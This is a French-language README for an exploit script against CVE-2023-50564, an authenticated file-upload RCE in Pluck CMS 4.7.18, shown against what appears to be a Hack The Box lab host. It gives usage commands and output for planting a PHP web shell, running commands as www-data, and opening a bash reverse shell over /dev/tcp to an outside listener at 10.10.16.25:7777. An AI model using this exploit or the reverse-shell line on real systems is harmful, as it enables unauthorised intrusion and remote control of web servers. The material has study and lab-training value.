
Exploit RCE pour Pluck-CMS v4.7.18
CVE-2023-50564 est une vulnérabilité RCE dans Pluck CMS v4.7.18. Elle est rendue possible par une vulnérabilité de téléchargement de fichier arbitraire dans le composant /inc/modules_install.php permettant d'exécuter du code arbitraire en téléchargeant un fichier .zip malveillant.
Avant d'exécuter l'exploit, le mot de passe pour s'authentifier sur /login.php doit être connu.
Exécution de l'exploit contre la cible :
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
Le fichier .php malveillant peut être accédé via le lien fourni par le script pour exécuter des commandes.
Optionnellement, les commandes à exécuter peuvent être spécifiées à l'aide du drapeau --cmd.
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Démarrer l'écouteur, puis spécifier une commande pour établir une connexion shell inversé sur l'écouteur à l'aide du drapeau --cmd :
$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''
Et obtenir la connexion sur l'écouteur :
$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$
Installer les dépendances :
pip install -r requirements.txt
Aide :
$ python3 exploit.py --help
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]
Exploit Pluck v4.7.18 RCE Vulnerability
options:
-h, --help show this help message and exit
--target TARGET Target URL (Example: http://greenhorn.htb)
--password PASSWORD Pluck password
--cmd CMD Command to execute
Crédits à Mirabbas Ağalarov pour avoir découvert la vulnérabilité (Lien).